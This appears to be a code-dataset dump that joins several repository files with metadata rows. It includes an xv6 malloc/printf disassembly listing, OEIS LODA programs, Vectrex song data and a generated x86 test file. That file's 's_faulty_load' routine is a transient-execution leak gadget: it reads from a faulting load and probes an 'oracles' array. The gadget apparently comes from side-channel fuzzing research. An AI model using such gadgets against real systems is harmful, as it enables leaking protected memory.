putc(fd, *s);
s++;
}
} else if(c == 'c'){
643: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
647: 75 1d jne 666 <printf+0x12e>
putc(fd, *ap);
649: 8b 45 e8 mov -0x18(%ebp),%eax
64c: 8b 00 mov (%eax),%eax
64e: 0f be c0 movsbl %al,%eax
651: 83 ec 08 sub $0x8,%esp
654: 50 push %eax
655: ff 75 08 pushl 0x8(%ebp)
658: e8 04 fe ff ff call 461 <putc>
65d: 83 c4 10 add $0x10,%esp
ap++;
660: 83 45 e8 04 addl $0x4,-0x18(%ebp)
664: eb 42 jmp 6a8 <printf+0x170>
} else if(c == '%'){
666: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
66a: 75 17 jne 683 <printf+0x14b>
putc(fd, c);
66c: 8b 45 e4 mov -0x1c(%ebp),%eax
66f: 0f be c0 movsbl %al,%eax
672: 83 ec 08 sub $0x8,%esp
675: 50 push %eax
676: ff 75 08 pushl 0x8(%ebp)
679: e8 e3 fd ff ff call 461 <putc>
67e: 83 c4 10 add $0x10,%esp
681: eb 25 jmp 6a8 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
683: 83 ec 08 sub $0x8,%esp
686: 6a 25 push $0x25
688: ff 75 08 pushl 0x8(%ebp)
68b: e8 d1 fd ff ff call 461 <putc>
690: 83 c4 10 add $0x10,%esp
putc(fd, c);
693: 8b 45 e4 mov -0x1c(%ebp),%eax
696: 0f be c0 movsbl %al,%eax
699: 83 ec 08 sub $0x8,%esp
69c: 50 push %eax
69d: ff 75 08 pushl 0x8(%ebp)
6a0: e8 bc fd ff ff call 461 <putc>
6a5: 83 c4 10 add $0x10,%esp
}
state = 0;
6a8: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6af: 83 45 f0 01 addl $0x1,-0x10(%ebp)
6b3: 8b 55 0c mov 0xc(%ebp),%edx
6b6: 8b 45 f0 mov -0x10(%ebp),%eax
6b9: 01 d0 add %edx,%eax
6bb: 0f b6 00 movzbl (%eax),%eax
6be: 84 c0 test %al,%al
6c0: 0f 85 94 fe ff ff jne 55a <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
6c6: 90 nop
6c7: c9 leave
6c8: c3 ret
000006c9 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
6c9: 55 push %ebp
6ca: 89 e5 mov %esp,%ebp
6cc: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
6cf: 8b 45 08 mov 0x8(%ebp),%eax
6d2: 83 e8 08 sub $0x8,%eax
6d5: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6d8: a1 7c 0b 00 00 mov 0xb7c,%eax
6dd: 89 45 fc mov %eax,-0x4(%ebp)
6e0: eb 24 jmp 706 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6e2: 8b 45 fc mov -0x4(%ebp),%eax
6e5: 8b 00 mov (%eax),%eax
6e7: 3b 45 fc cmp -0x4(%ebp),%eax
6ea: 77 12 ja 6fe <free+0x35>
6ec: 8b 45 f8 mov -0x8(%ebp),%eax
6ef: 3b 45 fc cmp -0x4(%ebp),%eax
6f2: 77 24 ja 718 <free+0x4f>
6f4: 8b 45 fc mov -0x4(%ebp),%eax
6f7: 8b 00 mov (%eax),%eax
6f9: 3b 45 f8 cmp -0x8(%ebp),%eax
6fc: 77 1a ja 718 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6fe: 8b 45 fc mov -0x4(%ebp),%eax
701: 8b 00 mov (%eax),%eax
703: 89 45 fc mov %eax,-0x4(%ebp)
706: 8b 45 f8 mov -0x8(%ebp),%eax
709: 3b 45 fc cmp -0x4(%ebp),%eax
70c: 76 d4 jbe 6e2 <free+0x19>
70e: 8b 45 fc mov -0x4(%ebp),%eax
711: 8b 00 mov (%eax),%eax
713: 3b 45 f8 cmp -0x8(%ebp),%eax
716: 76 ca jbe 6e2 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
718: 8b 45 f8 mov -0x8(%ebp),%eax
71b: 8b 40 04 mov 0x4(%eax),%eax
71e: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
725: 8b 45 f8 mov -0x8(%ebp),%eax
728: 01 c2 add %eax,%edx
72a: 8b 45 fc mov -0x4(%ebp),%eax
72d: 8b 00 mov (%eax),%eax
72f: 39 c2 cmp %eax,%edx
731: 75 24 jne 757 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
733: 8b 45 f8 mov -0x8(%ebp),%eax
736: 8b 50 04 mov 0x4(%eax),%edx
739: 8b 45 fc mov -0x4(%ebp),%eax
73c: 8b 00 mov (%eax),%eax
73e: 8b 40 04 mov 0x4(%eax),%eax
741: 01 c2 add %eax,%edx
743: 8b 45 f8 mov -0x8(%ebp),%eax
746: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
749: 8b 45 fc mov -0x4(%ebp),%eax
74c: 8b 00 mov (%eax),%eax
74e: 8b 10 mov (%eax),%edx
750: 8b 45 f8 mov -0x8(%ebp),%eax
753: 89 10 mov %edx,(%eax)
755: eb 0a jmp 761 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
757: 8b 45 fc mov -0x4(%ebp),%eax
75a: 8b 10 mov (%eax),%edx
75c: 8b 45 f8 mov -0x8(%ebp),%eax
75f: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
761: 8b 45 fc mov -0x4(%ebp),%eax
764: 8b 40 04 mov 0x4(%eax),%eax
767: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
76e: 8b 45 fc mov -0x4(%ebp),%eax
771: 01 d0 add %edx,%eax
773: 3b 45 f8 cmp -0x8(%ebp),%eax
776: 75 20 jne 798 <free+0xcf>
p->s.size += bp->s.size;
778: 8b 45 fc mov -0x4(%ebp),%eax
77b: 8b 50 04 mov 0x4(%eax),%edx
77e: 8b 45 f8 mov -0x8(%ebp),%eax
781: 8b 40 04 mov 0x4(%eax),%eax
784: 01 c2 add %eax,%edx
786: 8b 45 fc mov -0x4(%ebp),%eax
789: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
78c: 8b 45 f8 mov -0x8(%ebp),%eax
78f: 8b 10 mov (%eax),%edx
791: 8b 45 fc mov -0x4(%ebp),%eax
794: 89 10 mov %edx,(%eax)
796: eb 08 jmp 7a0 <free+0xd7>
} else
p->s.ptr = bp;
798: 8b 45 fc mov -0x4(%ebp),%eax
79b: 8b 55 f8 mov -0x8(%ebp),%edx
79e: 89 10 mov %edx,(%eax)
freep = p;
7a0: 8b 45 fc mov -0x4(%ebp),%eax
7a3: a3 7c 0b 00 00 mov %eax,0xb7c
}
7a8: 90 nop
7a9: c9 leave
7aa: c3 ret
000007ab <morecore>:
static Header*
morecore(uint nu)
{
7ab: 55 push %ebp
7ac: 89 e5 mov %esp,%ebp
7ae: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
7b1: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
7b8: 77 07 ja 7c1 <morecore+0x16>
nu = 4096;
7ba: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
7c1: 8b 45 08 mov 0x8(%ebp),%eax
7c4: c1 e0 03 shl $0x3,%eax
7c7: 83 ec 0c sub $0xc,%esp
7ca: 50 push %eax
7cb: e8 61 fc ff ff call 431 <sbrk>
7d0: 83 c4 10 add $0x10,%esp
7d3: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
7d6: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
7da: 75 07 jne 7e3 <morecore+0x38>
return 0;
7dc: b8 00 00 00 00 mov $0x0,%eax
7e1: eb 26 jmp 809 <morecore+0x5e>
hp = (Header*)p;
7e3: 8b 45 f4 mov -0xc(%ebp),%eax
7e6: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
7e9: 8b 45 f0 mov -0x10(%ebp),%eax
7ec: 8b 55 08 mov 0x8(%ebp),%edx
7ef: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
7f2: 8b 45 f0 mov -0x10(%ebp),%eax
7f5: 83 c0 08 add $0x8,%eax
7f8: 83 ec 0c sub $0xc,%esp
7fb: 50 push %eax
7fc: e8 c8 fe ff ff call 6c9 <free>
801: 83 c4 10 add $0x10,%esp
return freep;
804: a1 7c 0b 00 00 mov 0xb7c,%eax
}
809: c9 leave
80a: c3 ret
0000080b <malloc>:
void*
malloc(uint nbytes)
{
80b: 55 push %ebp
80c: 89 e5 mov %esp,%ebp
80e: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
811: 8b 45 08 mov 0x8(%ebp),%eax
814: 83 c0 07 add $0x7,%eax
817: c1 e8 03 shr $0x3,%eax
81a: 83 c0 01 add $0x1,%eax
81d: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
820: a1 7c 0b 00 00 mov 0xb7c,%eax
825: 89 45 f0 mov %eax,-0x10(%ebp)
828: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
82c: 75 23 jne 851 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
82e: c7 45 f0 74 0b 00 00 movl $0xb74,-0x10(%ebp)
835: 8b 45 f0 mov -0x10(%ebp),%eax
838: a3 7c 0b 00 00 mov %eax,0xb7c
83d: a1 7c 0b 00 00 mov 0xb7c,%eax
842: a3 74 0b 00 00 mov %eax,0xb74
base.s.size = 0;
847: c7 05 78 0b 00 00 00 movl $0x0,0xb78
84e: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
851: 8b 45 f0 mov -0x10(%ebp),%eax
854: 8b 00 mov (%eax),%eax
856: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
859: 8b 45 f4 mov -0xc(%ebp),%eax
85c: 8b 40 04 mov 0x4(%eax),%eax
85f: 3b 45 ec cmp -0x14(%ebp),%eax
862: 72 4d jb 8b1 <malloc+0xa6>
if(p->s.size == nunits)
864: 8b 45 f4 mov -0xc(%ebp),%eax
867: 8b 40 04 mov 0x4(%eax),%eax
86a: 3b 45 ec cmp -0x14(%ebp),%eax
86d: 75 0c jne 87b <malloc+0x70>
prevp->s.ptr = p->s.ptr;
86f: 8b 45 f4 mov -0xc(%ebp),%eax
872: 8b 10 mov (%eax),%edx
874: 8b 45 f0 mov -0x10(%ebp),%eax
877: 89 10 mov %edx,(%eax)
879: eb 26 jmp 8a1 <malloc+0x96>
else {
p->s.size -= nunits;
87b: 8b 45 f4 mov -0xc(%ebp),%eax
87e: 8b 40 04 mov 0x4(%eax),%eax
881: 2b 45 ec sub -0x14(%ebp),%eax
884: 89 c2 mov %eax,%edx
886: 8b 45 f4 mov -0xc(%ebp),%eax
889: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
88c: 8b 45 f4 mov -0xc(%ebp),%eax
88f: 8b 40 04 mov 0x4(%eax),%eax
892: c1 e0 03 shl $0x3,%eax
895: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
898: 8b 45 f4 mov -0xc(%ebp),%eax
89b: 8b 55 ec mov -0x14(%ebp),%edx
89e: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
8a1: 8b 45 f0 mov -0x10(%ebp),%eax
8a4: a3 7c 0b 00 00 mov %eax,0xb7c
return (void*)(p + 1);
8a9: 8b 45 f4 mov -0xc(%ebp),%eax
8ac: 83 c0 08 add $0x8,%eax
8af: eb 3b jmp 8ec <malloc+0xe1>
}
if(p == freep)
8b1: a1 7c 0b 00 00 mov 0xb7c,%eax
8b6: 39 45 f4 cmp %eax,-0xc(%ebp)
8b9: 75 1e jne 8d9 <malloc+0xce>
if((p = morecore(nunits)) == 0)
8bb: 83 ec 0c sub $0xc,%esp
8be: ff 75 ec pushl -0x14(%ebp)
8c1: e8 e5 fe ff ff call 7ab <morecore>
8c6: 83 c4 10 add $0x10,%esp
8c9: 89 45 f4 mov %eax,-0xc(%ebp)
8cc: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8d0: 75 07 jne 8d9 <malloc+0xce>
return 0;
8d2: b8 00 00 00 00 mov $0x0,%eax
8d7: eb 13 jmp 8ec <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
8d9: 8b 45 f4 mov -0xc(%ebp),%eax
8dc: 89 45 f0 mov %eax,-0x10(%ebp)
8df: 8b 45 f4 mov -0xc(%ebp),%eax
8e2: 8b 00 mov (%eax),%eax
8e4: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
8e7: e9 6d ff ff ff jmp 859 <malloc+0x4e>
}
8ec: c9 leave
8ed: c3 ret
| 34.254947
| 60
| 0.425629
|
651f61b73ba1816d7360b371a935afd54da22870
| 6,040
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_738.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_738.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_738.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x17b68, %r10
nop
nop
nop
nop
add %rsi, %rsi
mov $0x6162636465666768, %r13
movq %r13, %xmm1
vmovups %ymm1, (%r10)
nop
nop
cmp $23581, %rdi
lea addresses_WT_ht+0x1d25a, %r13
nop
nop
nop
nop
nop
sub %r9, %r9
mov $0x6162636465666768, %r15
movq %r15, (%r13)
nop
nop
nop
sub $5819, %r10
lea addresses_D_ht+0xcfda, %r9
nop
nop
add $44821, %r12
mov (%r9), %edi
xor %rdi, %rdi
lea addresses_UC_ht+0x5dff, %rsi
lea addresses_D_ht+0x1443a, %rdi
nop
nop
nop
nop
nop
and $61377, %r9
mov $77, %rcx
rep movsq
add %r13, %r13
lea addresses_UC_ht+0x1c91a, %r9
nop
nop
nop
sub $51141, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%r9)
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x121fa, %r13
nop
nop
nop
nop
nop
add $35614, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
and $0xffffffffffffffc0, %r13
movntdq %xmm1, (%r13)
nop
nop
nop
and $58251, %r15
lea addresses_D_ht+0x1439a, %rsi
lea addresses_WC_ht+0x1311a, %rdi
nop
nop
nop
nop
sub %r9, %r9
mov $37, %rcx
rep movsw
nop
nop
sub $25206, %r12
lea addresses_A_ht+0xeb2a, %r10
nop
nop
nop
nop
cmp %rcx, %rcx
mov (%r10), %r13d
nop
nop
nop
nop
nop
sub $53204, %r12
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
// Faulty Load
lea addresses_PSE+0x1d91a, %rax
add $12638, %rcx
mov (%rax), %di
lea oracles, %r8
and $0xff, %rdi
shlq $12, %rdi
mov (%r8,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 37.987421
| 2,999
| 0.66043
|
e879d4a091cb29d1347dcfdb5c99e825f9225914
| 524
|
asm
|
Assembly
|
oeis/309/A309729.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/309/A309729.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/309/A309729.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A309729: Expansion of Sum_{k>=1} x^k/(1 - x^k - 2*x^(2*k)).
; Submitted by Christian Krause
; 1,2,4,7,12,26,44,92,175,354,684,1396,2732,5506,10938,21937,43692,87578,174764,349884,699098,1398786,2796204,5593886,11184823,22372354,44739418,89483996,178956972,357925242,715827884,1431677702,2863312218,5726666754,11453246178,22906581193
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
mov $4,$0
sub $0,1
mul $1,2
cmp $3,$2
cmp $4,0
sub $4,1
mul $5,$4
add $5,1
sub $5,$3
add $1,$5
lpe
mov $0,$1
add $0,1
| 22.782609
| 240
| 0.666031
|
de2c855fb2f22b1248735cc38c4b093d37f0a18e
| 902
|
asm
|
Assembly
|
oeis/248/A248003.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/248/A248003.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/248/A248003.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A248003: a(n) = (sum of totatives of n ) / (2^(omega(n)-1)); a(n) = A023896(n) / A007875(n).
; Submitted by Christian Krause
; 1,1,3,4,10,3,21,16,27,10,55,12,78,21,30,64,136,27,171,40,63,55,253,48,250,78,243,84,406,30,465,256,165,136,210,108,666,171,234,160,820,63,903,220,270,253,1081,192,1029,250,408,312,1378,243,550,336,513,406,1711,120,1830,465,567,1024,780,165,2211,544,759,210,2485,432,2628,666,750,684,1155,234,3081,640,2187,820,3403,252,1360,903,1218,880,3916,270,1638,1012,1395,1081,1710,768,4656,1029,1485,1000
add $0,1
mov $1,1
lpb $0
div $2,$1
mov $3,$0
lpb $3
mov $4,$0
mov $6,$2
cmp $6,0
add $2,$6
mod $4,$2
cmp $4,0
cmp $4,0
mov $5,$2
add $2,1
cmp $5,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
mul $5,$2
lpe
dif $5,$2
mul $1,$5
bin $2,2
sub $2,$4
add $2,1
mul $2,$5
mul $1,$2
lpe
mov $0,$1
| 23.736842
| 396
| 0.586475
|
875f9cf5bae7152f7e78da16f0f0d1f29e2343b5
| 864
|
asm
|
Assembly
|
malban/Release/VRelease/Release.History/VRelease_2017_04_07/Song/pattern12.asm
|
mikepea/vectrex-playground
|
0de7d2d6db0914d915f4334402f747ab3bcdc7e6
|
[
"0BSD"
] | 5
|
2018-01-14T10:03:50.000Z
|
2020-01-17T13:53:49.000Z
|
malban/Release/VRelease/Release.History/VRelease_2017_04_07/Song/pattern12.asm
|
mikepea/vectrex-playground
|
0de7d2d6db0914d915f4334402f747ab3bcdc7e6
|
[
"0BSD"
] | null | null | null |
malban/Release/VRelease/Release.History/VRelease_2017_04_07/Song/pattern12.asm
|
mikepea/vectrex-playground
|
0de7d2d6db0914d915f4334402f747ab3bcdc7e6
|
[
"0BSD"
] | null | null | null |
; this file is part of Release, written by Malban in 2017
;
HAS_VOICE0 = 1
HAS_TONE0 = 1
FIRST7 = $3E
dw $0044
pattern12Data:
db $F5, $77, $86, $9E, $3D, $DD, $DE, $A7, $8D, $77
db $70, $30, $7B, $9E, $3C, $5D, $DE, $A7, $8E, $06
db $07, $FE, $F4, $76, $F2, $7F, $7F, $51, $F7, $BC
db $9F, $98, $C4, $BB, $56, $9D, $74, $8E, $92, $49
db $F3, $C3, $3E, $7B, $E1, $EA, $EE, $EB, $EF, $7B
db $9E, $3D, $7B, $DC, $AE, $EE, $DE, $F7, $79, $E3
db $B7, $BD, $D2, $EE, $E1, $EF, $75, $9E, $3A, $7B
db $DC, $2E, $ED, $EF, $71, $9E, $38, $1F, $BB, $D1
db $DB, $C9, $FC, $FD, $47, $D6, $F2, $7E, $23, $12
db $EB, $5A, $74, $D2, $39, $C9, $27, $FB, $BD, $1D
db $BC, $9F, $CF, $D4, $7D, $6F, $27, $E2, $31, $2E
db $B5, $A7, $4D, $23, $9C, $92, $7C, $B0, $CF, $FD
db $E8, $ED, $E4, $FE, $FE, $A3, $EF, $79, $3F, $31
db $89, $76, $AD, $3A, $E9, $1D, $24, $92, $00
| 39.272727
| 57
| 0.460648
|
1ee6e0a939cdb882ea98e8ad12fdaa92612e8487
| 606
|
asm
|
Assembly
|
oeis/110/A110451.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/110/A110451.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/110/A110451.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A110451: a(n) = n*(4*n^2 + 2*n + 1).
; 0,7,42,129,292,555,942,1477,2184,3087,4210,5577,7212,9139,11382,13965,16912,20247,23994,28177,32820,37947,43582,49749,56472,63775,71682,80217,89404,99267,109830,121117,133152,145959,159562,173985,189252,205387,222414,240357,259240,279087,299922,321769,344652,368595,393622,419757,447024,475447,505050,535857,567892,601179,635742,671605,708792,747327,787234,828537,871260,915427,961062,1008189,1056832,1107015,1158762,1212097,1267044,1323627,1381870,1441797,1503432,1566799,1631922,1698825,1767532
mov $1,4
mul $1,$0
mul $0,$1
add $1,2
mul $0,$1
add $0,$1
div $0,4
| 55.090909
| 498
| 0.777228
|
cefe0617c7c947ed010ff97182fa15997a0b371b
| 3,430
|
asm
|
Assembly
|
1 course/MDPL/lab3/main_asm.asm
|
semyon-dev/bonch-labs
|
33951ee90ff7a798df3ec467f02ee2c9cd38ad94
|
[
"Unlicense"
] | 6
|
2020-03-17T19:20:09.000Z
|
2021-04-25T11:40:46.000Z
|
1 course/MDPL/lab3/main_asm.asm
|
semyon-dev/bonch-labs
|
33951ee90ff7a798df3ec467f02ee2c9cd38ad94
|
[
"Unlicense"
] | null | null | null |
1 course/MDPL/lab3/main_asm.asm
|
semyon-dev/bonch-labs
|
33951ee90ff7a798df3ec467f02ee2c9cd38ad94
|
[
"Unlicense"
] | null | null | null |
; Assemble: nasm -f elf64 -l main_asm.lst main_asm.asm
